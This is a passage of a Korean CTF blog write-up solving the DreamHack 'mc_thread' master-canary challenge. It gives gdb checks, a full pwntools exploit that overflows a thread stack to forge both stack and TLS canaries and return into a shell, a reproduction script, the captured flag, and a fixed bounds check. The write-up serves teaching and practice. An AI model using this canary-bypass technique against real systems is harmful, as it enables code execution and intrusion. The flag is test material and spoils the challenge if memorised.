  40125e:  mov    edx,0x0          ; envp = NULL
  401263:  mov    esi,0x0          ; argv = NULL
  401268:  lea    rax,[rip+0xd95]  ; "/bin/sh"
  40126f:  mov    rdi,rax
  401272:  call   401100 <execve@plt>

์ธ์ž๋ฅผ ์ „๋ถ€ ์ž๊ธฐ๊ฐ€ ์„ธํŒ…ํ•˜๋‹ˆ ์Šคํƒ ์ •๋ ฌ๋งŒ ๋งž์œผ๋ฉด ๊ทธ๋ƒฅ ๋“ค์–ด๊ฐ€๋ฉด ๋œ๋‹ค. endbr64๋กœ ์‹œ์ž‘ํ•˜๋Š” ๊ฒƒ๋„ ๋‹คํ–‰์ด๋‹ค โ€” ์ด ๋ฐ”์ด๋„ˆ๋ฆฌ๋Š” IBT ํ”„๋กœํผํ‹ฐ๊ฐ€ ๋ถ™์–ด ์žˆ์–ด์„œ, ๊ฐ„์ ‘ ๋ถ„๊ธฐ ๋Œ€์ƒ์ด ๋˜๋ ค๋ฉด endbr64๊ฐ€ ํ•„์š”ํ•  ์ˆ˜ ์žˆ๋‹ค. ํ•จ์ˆ˜ ์‹œ์ž‘์œผ๋กœ ๋›ฐ๋‹ˆ ๋ฌธ์ œ์—†๋‹ค.

๋ฎ์ด๊ณ  ๋‚˜์„œ์˜ ์ƒํƒœ๋ฅผ ํ™•์ธ

ํŽ˜์ด๋กœ๋“œ๊ฐ€ ์˜๋„๋Œ€๋กœ ๋“ค์–ด๊ฐ”๋Š”์ง€, ์นด๋‚˜๋ฆฌ ๊ฒ€์‚ฌ ์ง์ „(0x40139b)์— ๋ฉˆ์ถฐ์„œ ๋ณธ๋‹ค.

set confirm off
set pagination off
# read_bytes ๊ฐ€ ๋๋‚œ ์งํ›„ (์นด๋‚˜๋ฆฌ ๊ฒ€์‚ฌ ์ง์ „) ์ƒํƒœ๋ฅผ ๋ณธ๋‹ค
break *0x40139b
run < payload.bin
printf "\n=== read_bytes ์งํ›„ ===\n"
printf "stack canary  [rbp-0x8] = %p\n", *(unsigned long*)($rbp-0x8)
printf "master canary  fs:0x28  = %p\n", *(unsigned long*)((long)$fs_base+0x28)
printf "return addr   [rbp+0x8] = %p  ", *(unsigned long*)($rbp+0x8)
info symbol *(unsigned long*)($rbp+0x8)
printf "tcb.self       fs:0x10  = %p\n", *(unsigned long*)((long)$fs_base+0x10)
printf "multiple_threads fs:0x18= %d\n", *(int*)((long)$fs_base+0x18)
quit
python3 gen_payload.py final
gdb -q -batch -x verify_after.gdb ./mc_thread 2>&1 | grep -v -f gdbnoise.txt | cat -s

gdb๋กœ ํ™•์ธํ•œ ์˜ค๋ฒ„ํ”Œ๋กœ์šฐ ์งํ›„ ์ƒํƒœ๋‹ค. ์Šคํƒ ์นด๋‚˜๋ฆฌ์™€ TLS ์›๋ณธ์ด ๊ฐ™์€ ์œ„์กฐ๊ฐ’์ด๊ณ  ๋ฐ˜ํ™˜ ์ฃผ์†Œ๋Š” giveshell์ด๋‹ค
gdb๋กœ ํ™•์ธํ•œ ์˜ค๋ฒ„ํ”Œ๋กœ์šฐ ์งํ›„ ์ƒํƒœ๋‹ค. ์Šคํƒ ์นด๋‚˜๋ฆฌ์™€ TLS ์›๋ณธ์ด ๊ฐ™์€ ์œ„์กฐ๊ฐ’์ด๊ณ  ๋ฐ˜ํ™˜ ์ฃผ์†Œ๋Š” giveshell์ด๋‹ค

  • ์Šคํƒ ๋ณต์‚ฌ๋ณธ 0xdeadbeefcafebabe
  • TLS ์›๋ณธ 0xdeadbeefcafebabe โ€” ๋‘ ๊ฐ’์ด ๊ฐ™์œผ๋‹ˆ __stack_chk_fail์€ ์•ˆ ๋ถˆ๋ฆฐ๋‹ค
  • ๋ฐ˜ํ™˜ ์ฃผ์†Œ 0x401256, gdb๊ฐ€ giveshell in section .text๋กœ ์‹ฌ๋ณผ๊นŒ์ง€ ํ™•์ธํ•ด ์ค€๋‹ค
  • self๋Š” 0x404000, multiple_threads๋Š” 0

์˜๋„ํ•œ ๊ทธ๋Œ€๋กœ๋‹ค.


๐Ÿš€ Full Exploit

solve.py ์ „๋ฌธ์ด๋‹ค. ์ธ์ž ์—†์ด ๋Œ๋ฆฌ๋ฉด ๋กœ์ปฌ(./mc_thread), remote host:port๋ฅผ ์ฃผ๋ฉด ๋ผ์ด๋ธŒ ์„œ๋ฒ„๋‹ค. ๋กœ์ปฌ์—๋Š” ์ง„์งœ flag๊ฐ€ ์—†์œผ๋‹ˆ ์…ธ์„ ์žก์•˜๋‹ค๋Š” ํ‘œ์‹œ๋งŒ ์ฐ๊ฒŒ ํ–ˆ๋‹ค.

#!/usr/bin/env python3
# Master Canary (mc_thread) โ€” ์Šค๋ ˆ๋“œ ์Šคํƒ ์˜ค๋ฒ„ํ”Œ๋กœ์šฐ๋กœ TLS ์˜ ๋งˆ์Šคํ„ฐ ์นด๋‚˜๋ฆฌ๊นŒ์ง€ ๋ฎ์–ด์“ด๋‹ค.
#
#   local :  python3 solve.py
#   remote:  python3 solve.py remote host3.dreamhack.games:15836
#
# ์ธ์ž ์—†์ด ์‹คํ–‰ํ•˜๋ฉด ๋กœ์ปฌ(./mc_thread)์ด๋‹ค. ๋กœ์ปฌ์€ flag ๊ฐ€ ์—†์œผ๋ฏ€๋กœ ์…ธ ํš๋“๋งŒ ํ™•์ธํ•œ๋‹ค.
from pwn import *
import sys
 
context.arch = "amd64"
context.log_level = "info"
 
GIVESHELL = 0x401256  # giveshell() โ€” execve("/bin/sh", 0, 0)
 
# gdb ๋กœ ์‹ค์ธกํ•œ ๊ฐ’ (work/find_offset.gdb). thread_routine ์˜ buf ๊ธฐ์ค€ ์˜คํ”„์…‹.
OFF_CANARY = 0x108  # buf -> [rbp-0x8]  ์Šคํƒ ์นด๋‚˜๋ฆฌ ๋ณต์‚ฌ๋ณธ
OFF_RET = 0x118  # buf -> [rbp+0x8]  ๋ฐ˜ํ™˜ ์ฃผ์†Œ
OFF_MASTER = 0x928  # buf -> fs:0x28   TLS ์•ˆ์˜ ๋งˆ์Šคํ„ฐ ์นด๋‚˜๋ฆฌ
 
FAKE = 0xDEADBEEFCAFEBABE  # ๋งˆ์Šคํ„ฐ/์Šคํƒ ์–‘์ชฝ์— ๊ฐ™์€ ๊ฐ’์„ ์‹ฌ๋Š”๋‹ค
SAFE_SELF = 0x404000  # No-PIE ๋ผ ํ•ญ์ƒ ๊ณ ์ •. rw-p ํŽ˜์ด์ง€(0x404000~0x405000) ์‹œ์ž‘์ 
 
 
OFF_TCB = OFF_MASTER - 0x28  # buf -> fs:0x00 (tcbhead_t ์‹œ์ž‘)
 
 
def build_payload():
    p = b"A" * OFF_CANARY  # buf[256] + ์ •๋ ฌ ํŒจ๋”ฉ
    p += p64(FAKE)  # [rbp-0x8]  ์Šคํƒ ์นด๋‚˜๋ฆฌ <- ์œ„์กฐ๊ฐ’
    p += b"B" * 8  # [rbp+0x0]  saved rbp (์•„๋ฌด ๊ฐ’)
    p += p64(GIVESHELL)  # [rbp+0x8]  ๋ฐ˜ํ™˜ ์ฃผ์†Œ <- giveshell()
    p += b"C" * (OFF_TCB - len(p))  # ์Šค๋ ˆ๋“œ ์Šคํƒ ๋‚˜๋จธ์ง€ + static TLS ๋ธ”๋ก
    # tcbhead_t ์•ž๋ถ€๋ถ„ โ€” ์—ฌ๊ธฐ๋ฅผ ์•„๋ฌด ๊ฐ’์œผ๋กœ ๋ญ‰๊ฐœ๋ฉด ๋‹ค์Œ read() ๊ฐ€ ์ฃฝ๋Š”๋‹ค.
    #  fs:0x10(self) : __pthread_disable_asynccancel ์ด [self+0x972] ์— 0 ์„ ์“ด๋‹ค.
    #                  -> No-PIE ๋ฐ”์ด๋„ˆ๋ฆฌ์˜ ์“ฐ๊ธฐ ๊ฐ€๋Šฅ ํŽ˜์ด์ง€(.bss ๋’ค)๋ฅผ ๊ฐ€๋ฆฌํ‚ค๊ฒŒ ๋‘”๋‹ค.
    #  fs:0x18(multiple_threads)=0 : ์ดํ›„ read() ๊ฐ€ SINGLE_THREAD_P ๊ฒฝ๋กœ๋กœ ๋น ์ง„๋‹ค.
    p += p64(0)  # fs:0x00 tcb
    p += p64(0)  # fs:0x08 dtv
    p += p64(SAFE_SELF)  # fs:0x10 self
    p += p64(0)  # fs:0x18 multiple_threads(int) + gscope_flag(int)
    p += p64(0)  # fs:0x20 sysinfo
    p += p64(FAKE)  # fs:0x28    ๋งˆ์Šคํ„ฐ ์นด๋‚˜๋ฆฌ <- ๊ฐ™์€ ์œ„์กฐ๊ฐ’
    assert len(p) == OFF_MASTER + 8 and len(p) % 8 == 0
    return p
 
 
payload = build_payload()
size = len(payload) // 8  # read_bytes ๋Š” 8๋ฐ”์ดํŠธ์”ฉ size ๋ฒˆ ์ฝ๋Š”๋‹ค
 
if len(sys.argv) > 2 and sys.argv[1] == "remote":
    host, port = sys.argv[2].split(":")
    p = remote(host, int(port))
    cmd = b"cat flag"
else:
    p = process("./mc_thread")
    cmd = b"echo LOCAL_SHELL_OK; id"
 
log.info(f"payload {len(payload)} bytes / size = {size}")
 
p.recvuntil(b"Size: ")
p.sendline(str(size).encode())
p.recvuntil(b"Data: ")
p.send(payload)
 
p.sendline(cmd)
out = p.recvall(timeout=5)
print(out.decode(errors="replace").strip())

๋จผ์ € ๋กœ์ปฌ์—์„œ ํ™•์ธํ•œ๋‹ค.

python3 solve.py

solve.py ๋กœ์ปฌ ์‹คํ–‰ ํ™”๋ฉด์ด๋‹ค. 2352๋ฐ”์ดํŠธ ํŽ˜์ด๋กœ๋“œ๋ฅผ ๋ฐ€์–ด ๋„ฃ์–ด ์…ธ์„ ์žก์•˜๊ณ , LOCAL_SHELL_OK ๋ฐฐ๋„ˆ์™€ uid=1000(jinho)๋กœ ์‹œ์ž‘ํ•˜๋Š” id ์ถœ๋ ฅ์ด ๊ทธ๋Œ€๋กœ ๋Œ์•„์˜จ ๊ฒƒ๊นŒ์ง€ ๋ณด์ธ๋‹ค
solve.py ๋กœ์ปฌ ์‹คํ–‰ ํ™”๋ฉด์ด๋‹ค. 2352๋ฐ”์ดํŠธ ํŽ˜์ด๋กœ๋“œ๋ฅผ ๋ฐ€์–ด ๋„ฃ์–ด ์…ธ์„ ์žก์•˜๊ณ , LOCAL_SHELL_OK ๋ฐฐ๋„ˆ์™€ uid=1000(jinho)๋กœ ์‹œ์ž‘ํ•˜๋Š” id ์ถœ๋ ฅ์ด ๊ทธ๋Œ€๋กœ ๋Œ์•„์˜จ ๊ฒƒ๊นŒ์ง€ ๋ณด์ธ๋‹ค

LOCAL_SHELL_OK์™€ id ๊ฒฐ๊ณผ๊ฐ€ ๋Œ์•„์™”๋‹ค. execve("/bin/sh", 0, 0)์ด๋ผ argv๊ฐ€ NULL์ธ๋ฐ๋„ ์…ธ์€ ์ •์ƒ์ ์œผ๋กœ ๋ช…๋ น์„ ๋ฐ›๋Š”๋‹ค.

์ด์ œ ๋ผ์ด๋ธŒ ์„œ๋ฒ„๋‹ค.

python3 solve.py remote host3.dreamhack.games:15836

solve.py ์›๊ฒฉ ์‹คํ–‰ ํ™”๋ฉด์ด๋‹ค. ๋ผ์ด๋ธŒ ์„œ๋ฒ„์—์„œ cat flag ๊ฒฐ๊ณผ๋กœ ํ”Œ๋ž˜๊ทธ๊ฐ€ ๋Œ์•„์™”๋‹ค
solve.py ์›๊ฒฉ ์‹คํ–‰ ํ™”๋ฉด์ด๋‹ค. ๋ผ์ด๋ธŒ ์„œ๋ฒ„์—์„œ cat flag ๊ฒฐ๊ณผ๋กœ ํ”Œ๋ž˜๊ทธ๊ฐ€ ๋Œ์•„์™”๋‹ค

DH{4aff595366eb9100145182b138c160003a59471c2da192bd67bb267210545e18}

ํŒ์ • ๋งˆ์ปค

์ค‘๊ฐ„์— ๋ง‰ํžˆ๋ฉด ์–ด๋””๊ฐ€ ์–ด๊ธ‹๋‚œ ๊ฒƒ์ธ์ง€ ํ™”๋ฉด์œผ๋กœ ๊ตฌ๋ถ„ํ•  ์ˆ˜ ์žˆ๋‹ค.

ํ™”๋ฉด๋œป๋ณผ ๊ณณ
*** stack smashing detected ***๋‘ ์นด๋‚˜๋ฆฌ๊ฐ€ ์„œ๋กœ ๋‹ค๋ฅด๋‹ค0x108๊ณผ 0x928 ์œ„์น˜, ๋‘ ๊ฐ’์ด ๊ฐ™์€์ง€
์•„๋ฌด ์ถœ๋ ฅ ์—†์ด ์—ฐ๊ฒฐ ์ข…๋ฃŒread_bytes ๋„์ค‘ SIGSEGVfs:0x10(self)์„ ์œ ํšจ ์ฃผ์†Œ๋กœ ๋’€๋Š”์ง€
Data: ๋’ค์— ๊ทธ๋Œ€๋กœ ๋ฉˆ์ถคread๊ฐ€ 8๋ฐ”์ดํŠธ๋ฅผ ๋ชป ์ฑ„์›Œ ๋ฃจํ”„ ์กฐ๊ธฐ ์ข…๋ฃŒํŽ˜์ด๋กœ๋“œ ๊ธธ์ด๊ฐ€ size * 8๊ณผ ์ •ํ™•ํžˆ ๊ฐ™์€์ง€
Size: ๋’ค์— ์‘๋‹ต ์—†์Œsize๋ฅผ ๊ฐœํ–‰ ์—†์ด ๋ณด๋ƒˆ๋‹คsendline์œผ๋กœ ๋ณด๋‚ด๋Š”์ง€


๐Ÿงช ์žฌํ˜„ โ€” reproduce.sh

๋ฐฐํฌ๋ณธ๋งŒ ์žˆ์œผ๋ฉด ๋ฐ”๋กœ ๋Œ์•„๊ฐ€๊ฒŒ ์Šคํฌ๋ฆฝํŠธ๋กœ ๋ฌถ์–ด ๋’€๋‹ค. ์ธ์ž ์—†์ด ๋Œ๋ฆฌ๋ฉด ๋กœ์ปฌ ์…ธ๊นŒ์ง€, host:port๋ฅผ ์ฃผ๋ฉด ์ง„์งœ flag๊นŒ์ง€ ํ™•์ธํ•œ๋‹ค.

#!/usr/bin/env bash
# Master Canary (mc_thread, id 359) โ€” ํ•œ ๋ฐฉ ์žฌํ˜„.
#
#   ./reproduce.sh                              ๋กœ์ปฌ๋งŒ: ์…ธ์„ ์žก๋Š”์ง€ ํ™•์ธ (flag ์—†์Œ)
#   ./reproduce.sh host3.dreamhack.games:15836  ๋ผ์ด๋ธŒ: ์‹ค์ œ flag ๋ฅผ ๋ฝ‘์•„ ์ •๋‹ต๊ณผ ๋Œ€์กฐ
#
# ๋กœ์ปฌ์—๋Š” flag ๊ฐ€ ์—†๋‹ค(๋ฐฐํฌ๋ณธ flag ํŒŒ์ผ์€ 'DH{**flag**}' ์ž๋ฆฌํ‘œ์‹œ์ž). ๊ทธ๋ž˜์„œ ๋กœ์ปฌ PASS ๋Š”
# "์…ธ์„ ์žก์•˜๋‹ค"๊นŒ์ง€๋งŒ ๋œปํ•œ๋‹ค โ€” ์ง„์งœ flag ๋Š” ์ธ์ž๋กœ ๋ผ์ด๋ธŒ ์„œ๋ฒ„๋ฅผ ์ค˜์•ผ ๋‚˜์˜จ๋‹ค.
set -eu
cd "$(dirname "$(readlink -f "$0")")"
 
EXPECT=$(python3 -c "import json;print(json.load(open('๋ฌธ์ œ.json'))['flag'])" 2>/dev/null || echo '')
 
# 1) ๋ฐฐํฌ๋œ glibc 2.35 / ld ๋กœ ๋Œ๋„๋ก ์ž‘์—… ์‚ฌ๋ณธ์„ ๋งŒ๋“ ๋‹ค (๋ฌธ์ œ ์„œ๋ฒ„๋Š” Ubuntu 22.04)
mkdir -p work
cp -f extracted/mc_thread extracted/libc.so.6 extracted/ld-linux-x86-64.so.2 work/
chmod +x work/mc_thread work/ld-linux-x86-64.so.2
patchelf --set-interpreter "$PWD/work/ld-linux-x86-64.so.2" --set-rpath "$PWD/work" work/mc_thread
cd work
 
if [ $# -eq 0 ]; then
  OUT=$(timeout 120 python3 solve.py 2>&1) || true
  echo "$OUT" | tail -6
  if printf '%s' "$OUT" | grep -q 'LOCAL_SHELL_OK'; then
    echo; echo "โœ… PASS (๋กœ์ปฌ ์…ธ ํš๋“). ์ง„์งœ flag ๋Š” './reproduce.sh <host:port>' ๋กœ."
    exit 0
  fi
  echo; echo "โŒ FAIL โ€” ์…ธ์„ ๋ชป ์žก์•˜๋‹ค."; exit 1
fi
 
OUT=$(timeout 120 python3 solve.py remote "$1" 2>&1) || true
echo "$OUT" | tail -6
FLAG=$(printf '%s' "$OUT" | grep -aoE 'DH\{[^}]+\}' | head -1)
if [ -n "$FLAG" ] && { [ -z "$EXPECT" ] || [ "$FLAG" = "$EXPECT" ]; }; then
  echo; echo "โœ… PASS  $FLAG"; exit 0
fi
echo; echo "โŒ FAIL (์–ป์€ ๊ฐ’: '${FLAG:-์—†์Œ}' / ๊ธฐ๋Œ€: '${EXPECT:-๋Œ€์กฐ๋ณธ ์—†์Œ}')"; exit 1

patchelf๊ฐ€ ์—†์œผ๋ฉด sudo apt install patchelf๋กœ ๋„ฃ์œผ๋ฉด ๋œ๋‹ค. ๋ผ์ด๋ธŒ ์ธ์Šคํ„ด์Šค๋Š” ์‹œ๊ฐ„์ด ์ง€๋‚˜๋ฉด ๋งŒ๋ฃŒ๋˜๋‹ˆ, ํฌํŠธ๊ฐ€ ๊ฑฐ๋ถ€๋˜๋ฉด ์„œ๋ฒ„๋ฅผ ์ƒˆ๋กœ ๋ฐ›์•„ ์ธ์ž๋งŒ ๋ฐ”๊พธ๋ฉด ๋œ๋‹ค.


๐Ÿ“ ๊ฒฐ๋ก 

์นด๋‚˜๋ฆฌ๋Š” "๊ฐ’์„ ๋ชจ๋ฅธ๋‹ค"์— ๊ธฐ๋Œ€๋Š” ๋ฐฉ์–ด๋‹ค

์นด๋‚˜๋ฆฌ ๊ฒ€์‚ฌ๊ฐ€ ๋ง‰์•„ ์ฃผ๋Š” ๊ฒƒ์€ "๋ฎ์–ด์“ธ ์ˆ˜๋Š” ์žˆ์ง€๋งŒ ๊ทธ ๊ฐ’์„ ๋งž์ถœ ์ˆ˜๋Š” ์—†๋‹ค"๋Š” ์ƒํ™ฉ์ด๋‹ค. ์œ ์ถœ ๊ตฌ๋ฉ์ด ์—†์œผ๋ฉด ์•ˆ์ „ํ•˜๋‹ค๊ณ  ์ƒ๊ฐํ•˜๊ธฐ ์‰ฌ์šด๋ฐ, ์ด ๋ฌธ์ œ๋Š” ๊ทธ ์ „์ œ ์ž์ฒด๋ฅผ ๋น„๊ปด๊ฐ„๋‹ค. ๊ฐ’์„ ์•Œ์•„๋‚ผ ํ•„์š” ์—†์ด ๋น„๊ตํ•˜๋Š” ๋‘ ํ•ญ์„ ๋ชจ๋‘ ์šฐ๋ฆฌ ๊ฐ’์œผ๋กœ ๋ฐ”๊ฟ” ๋ฒ„๋ ธ๋‹ค.

๊ฐ™์€ ๋…ผ๋ฆฌ๋Š” ๋‹ค๋ฅธ ๊ณณ์—๋„ ์žˆ๋‹ค. ๋น„๊ต ๋Œ€์ƒ์ด ๊ณต๊ฒฉ์ž์˜ ์“ฐ๊ธฐ ๋ฒ”์œ„ ์•ˆ์— ํ•จ๊ป˜ ๋“ค์–ด ์žˆ์œผ๋ฉด ๊ทธ ๋น„๊ต๋Š” ๊ฒ€์‚ฌ๋กœ์„œ ์˜๋ฏธ๊ฐ€ ์—†๋‹ค. ์นด๋‚˜๋ฆฌ๋“ , ๊ธธ์ด ํ•„๋“œ๋“ , ์ฒดํฌ์„ฌ์ด๋“  ๋งˆ์ฐฌ๊ฐ€์ง€๋‹ค.

์Šค๋ ˆ๋“œ ์Šคํƒ์€ ๋ฉ”์ธ ์Šคํƒ๊ณผ ๋‹ค๋ฅด๋‹ค

๋ฉ”์ธ ์Šค๋ ˆ๋“œ์˜€๋‹ค๋ฉด ๊ฐ™์€ ์ฝ”๋“œ๋ผ๋„ ์ด ๊ณต๊ฒฉ์ด ์•ˆ ํ†ตํ•œ๋‹ค. TCB๊ฐ€ ์Šคํƒ๊ณผ ๋‹ค๋ฅธ ๋งคํ•‘์— ์žˆ๊ณ , ๊ทธ ์‚ฌ์ด์— ์ปค๋„์ด ๊น”์•„ ๋‘” ์˜์—ญ์ด ํ†ต์งธ๋กœ ๋ผ์–ด ์žˆ๊ธฐ ๋•Œ๋ฌธ์ด๋‹ค. ๋ฐ˜๋ฉด pthread_create๊ฐ€ ๋งŒ๋“œ๋Š” ์Šคํƒ์€ TCB๋ฅผ ์ž๊ธฐ ๊ผญ๋Œ€๊ธฐ์— ์–น๋Š”๋‹ค. ์Šคํƒ ์•„๋ž˜์ชฝ ๊ฐ€๋“œ ํŽ˜์ด์ง€๋„ ์—ฌ๊ธฐ์„œ๋Š” ๋„์›€์ด ์•ˆ ๋œ๋‹ค โ€” ๋„˜์น˜๋Š” ๋ฐฉํ–ฅ์ด ๋ฐ˜๋Œ€๋‹ค.

๋ง‰๋Š” ๋ฐฉ๋ฒ•์€ ๊ฒฐ๊ตญ ๊ธธ์ด ๊ฒ€์‚ฌ๋‹ค

read_bytes๊ฐ€ size์˜ ์ƒํ•œ์„ ๋ณด๊ธฐ๋งŒ ํ–ˆ์œผ๋ฉด ๋๋‚  ์ผ์ด์—ˆ๋‹ค. -fstack-protector-strong๋„, NX๋„, RELRO๋„ ์ด ์˜ค๋ฒ„ํ”Œ๋กœ์šฐ ์ž์ฒด๋ฅผ ์ค„์ด์ง€๋Š” ๋ชปํ•œ๋‹ค. ๋ฒ„ํผ ํฌ๊ธฐ๋ฅผ ํ•จ์ˆ˜์— ๊ฐ™์ด ๋„˜๊ธฐ๊ณ  ๊ทธ ์•ˆ์—์„œ ์ž๋ฅด๋Š”, ๊ฐ€์žฅ ์žฌ๋ฏธ์—†๋Š” ๋ฐฉ๋ฒ•์ด ์ •๋‹ต์ด๋‹ค.

void read_bytes(char *buf, size_t cap, int size) {
  for (int i = 0; i < size && (size_t)(i + 1) * 8 <= cap; i++)
    if (read(0, buf + i * 8, 8) < 8)
      return;
}

๋ง‰ํ˜”์„ ๋•Œ๋Š” ์ฃฝ์€ ์ž๋ฆฌ๋ฅผ ๋จผ์ € ๋ณธ๋‹ค

์ด ๋ฌธ์ œ์—์„œ ์ œ์ผ ์˜ค๋ž˜ ๊ฑธ๋ฆฐ ๋ถ€๋ถ„์€ ์นด๋‚˜๋ฆฌ๊ฐ€ ์•„๋‹ˆ๋ผ self ํฌ์ธํ„ฐ์˜€๋‹ค. "ํŽ˜์ด๋กœ๋“œ๊ฐ€ ๋งž๋Š”๋ฐ ์™œ ์ฃฝ์ง€"์—์„œ ๋ฉˆ์ถ”์ง€ ์•Š๊ณ  rax์— ๋ญ๊ฐ€ ๋“ค์–ด ์žˆ๋Š”์ง€ ํ•œ ๋ฒˆ ๋ณธ ๊ฒŒ ์ „๋ถ€๋‹ค. 0x4343434343434343์ด ๋œฌ ์ˆœ๊ฐ„ ๋‚ด๊ฐ€ ์ฑ„์šด C๋ผ๋Š” ๊ฑธ ์•Œ์•˜๊ณ , ๊ทธ๋•Œ๋ถ€ํ„ฐ๋Š” libc๋ฅผ ๋– ์„œ ๋ˆ„๊ฐ€ ๊ทธ๊ฑธ ์—ญ์ฐธ์กฐํ•˜๋Š”์ง€ ์ฐพ๋Š” ๊ธฐ๊ณ„์ ์ธ ์ž‘์—…์ด์—ˆ๋‹ค. ํฌ๋ž˜์‹œ ์ง€์ ์˜ ๋ ˆ์ง€์Šคํ„ฐ๋Š” ๋Œ€๊ฐœ ์ด๋ ‡๊ฒŒ ์ž๊ธฐ ์ž…๋ ฅ์„ ๊ทธ๋Œ€๋กœ ๋Œ๋ ค์ค€๋‹ค.

์ด ๊ธ€์ด ๋„์›€์ด ๋๋‚˜์š”?

Comments

๋Œ“๊ธ€

0๊ฐœ

๋Œ“๊ธ€์„ ๋‚จ๊ธฐ๋ ค๋ฉด ๋กœ๊ทธ์ธ์ด ํ•„์š”ํ•ด์š”. (๋„ค์ด๋ฒ„ ยท ๊ตฌ๊ธ€ ๊ณ„์ •)

๋Œ“๊ธ€ ๋ถˆ๋Ÿฌ์˜ค๋Š” ์ค‘โ€ฆ

Related

๊ด€๋ จ ๊ธ€

3๊ฐœ
[๐Ÿฅˆ Silver 2] ๋ชจ๋“  ์Šค๋ ˆ๋“œ๊ฐ€ ๊ฐ™์€ ์นด๋‚˜๋ฆฌ๋ฅผ ์“ด๋‹ค โ€” DreamHack master_canary ํ’€์ด
blog

[๐Ÿฅˆ Silver 2] ๋ชจ๋“  ์Šค๋ ˆ๋“œ๊ฐ€ ๊ฐ™์€ ์นด๋‚˜๋ฆฌ๋ฅผ ์“ด๋‹ค โ€” DreamHack master_canary ํ’€์ด

์Šค๋ ˆ๋“œ๋ฅผ ๋งŒ๋“ค๊ณ  ๊ทธ ์Šคํƒ ๋ฒ„ํผ์— ๋ฌด์ œํ•œ์œผ๋กœ ์ฝ๊ณ  ์“ธ ์ˆ˜ ์žˆ๋Š” pwnable. ์Šค๋ ˆ๋“œ๋Š” ํ•จ์ˆ˜๊ฐ€ ๋๋‚˜์ž๋งˆ์ž ์ฃฝ์–ด๋ฒ„๋ฆฌ๋Š”๋ฐ, ์ „์—ญ ํฌ์ธํ„ฐ๋Š” ๊ณ„์† ๊ทธ ์ฃฝ์€ ์Šคํƒ์„ ๊ฐ€๋ฆฌํ‚จ๋‹ค. ์ฃฝ์€ ์Šคํƒ์„ ๋”ฐ๋ผ ๊ณ„์† ๊ฑธ์–ด ์˜ฌ๋ผ๊ฐ€๋ฉด ๊ทธ ์Šค๋ ˆ๋“œ์˜ TCB, ๊ทธ๋ฆฌ๊ณ  ๊ทธ ์•ˆ์˜ canary(์Šคํƒ ์นด๋‚˜๋ฆฌ)์— ๋‹ฟ๋Š”๋‹ค โ€” ์ด canary๋Š” ํ”„๋กœ์„ธ์Šค๋ฅผ ๋งŒ๋“ค ๋•Œ ๋‹จ ํ•œ ๋ฒˆ ์ƒ์„ฑ๋ผ ๋ชจ๋“  ์Šค๋ ˆ๋“œ๊ฐ€ ๊ทธ๋Œ€๋กœ ๋‚˜๋ˆ  ์“ฐ๋Š” "๋งˆ์Šคํ„ฐ" ์นด๋‚˜๋ฆฌ์˜€๋‹ค.
#dreamhack#ctf#pwnable+4
2026-07-20#dreamhack +6
[๐Ÿฅˆ Silver 1] ๊ฐ™์€ ์ฒญํฌ๋ฅผ ๋‘ ๋ฒˆ free โ€” DreamHack tcache_dup ํ’€์ด
blog

[๐Ÿฅˆ Silver 1] ๊ฐ™์€ ์ฒญํฌ๋ฅผ ๋‘ ๋ฒˆ free โ€” DreamHack tcache_dup ํ’€์ด

free() ํ•˜๊ณ  ์ „์—ญ ํฌ์ธํ„ฐ๋ฅผ ์•ˆ ์ง€์šฐ๋Š” ๋ฐ๋‹ค glibc 2.27 ์ด๋ผ double-free ๊ฒ€์‚ฌ๋„ ์—†๋‹ค. ๊ฐ™์€ ์ฒญํฌ๋ฅผ ๋‘ ๋ฒˆ ํ•ด์ œํ•˜๋ฉด tcache ๋ฆฌ์ŠคํŠธ๊ฐ€ ์ž๊ธฐ ์ž์‹ ์„ ๊ฐ€๋ฆฌํ‚ค๋Š” ๋ฃจํ”„๊ฐ€ ๋˜๊ณ , ์ด๊ฑธ ์ด์šฉํ•ด ๋‹ค์Œ ํ• ๋‹น์˜ fd ๋ฅผ free@GOT ๋กœ ์กฐ์ž‘ํ•œ๋‹ค. no-PIEยทPartial RELRO ๋ผ leak ์—†์ด free@GOT ์— get_shell ์„ ์–น๊ณ  free ๋ฅผ ๋ถ€๋ฅด๋ฉด ์…ธ์ด ๋œฌ๋‹ค.
#dreamhack#ctf#pwnable+5
2026-07-11#dreamhack +4
[๐Ÿฅ‰ Bronze 2] ์Šคํƒ ์ฃผ์†Œ๋ฅผ ๋ชฐ๋ผ๋„ ์ฐฉ์ง€์ ์€ ์•ˆ๋‹ค โ€” DreamHack environ ํ’€์ด
blog

[๐Ÿฅ‰ Bronze 2] ์Šคํƒ ์ฃผ์†Œ๋ฅผ ๋ชฐ๋ผ๋„ ์ฐฉ์ง€์ ์€ ์•ˆ๋‹ค โ€” DreamHack environ ํ’€์ด

์ž„์˜ ์ฃผ์†Œ 8๋ฐ”์ดํŠธ๋ฅผ ์ฝ์–ด ๊ทธ ๊ฐ’์œผ๋กœ ๊ณง์žฅ ์ ํ”„ํ•˜๋Š” ์›์‹œ(primitive)๊ฐ€ ์ฃผ์–ด์ง„๋‹ค. ์ฃผ์†Œ๋ฅผ ์–ด๋””์—๋„ ์“ธ ์ˆ˜ ์—†์œผ๋‹ˆ "๋‚ด๊ฐ€ ์›ํ•˜๋Š” ๊ฐ’์ด ์ด๋ฏธ ๋“ค์–ด ์žˆ๋Š” ์นธ"์„ ์ฐพ์•„์•ผ ํ•˜๋Š”๋ฐ, libc ์˜ environ ์ด ํ•ญ์ƒ ์Šคํƒ์˜ envp ๋ฐฐ์—ด์„ ๊ฐ€๋ฆฌํ‚จ๋‹ค. ์Šคํƒ ์ฃผ์†Œ๋ฅผ ์ฝ์ง€๋„ ๋ชปํ•œ ์ฑ„ ๊ฑฐ๊ธฐ๋ฅผ ์ฐฉ์ง€์ ์œผ๋กœ ์‚ผ๊ณ , read ์˜ค๋ฒ„ํ”Œ๋กœ์šฐ๋กœ ๊ทธ ์ง€์ ์„ NOP ์ฐ๋งค๋กœ ๋ฏธ๋ฆฌ ๋ฎ์–ด ์…ธ์ฝ”๋“œ๊นŒ์ง€ ๋ฏธ๋„๋Ÿฌ๋œจ๋ฆฐ๋‹ค.
#dreamhack#ctf#pwnable+6
2026-08-01#dreamhack +4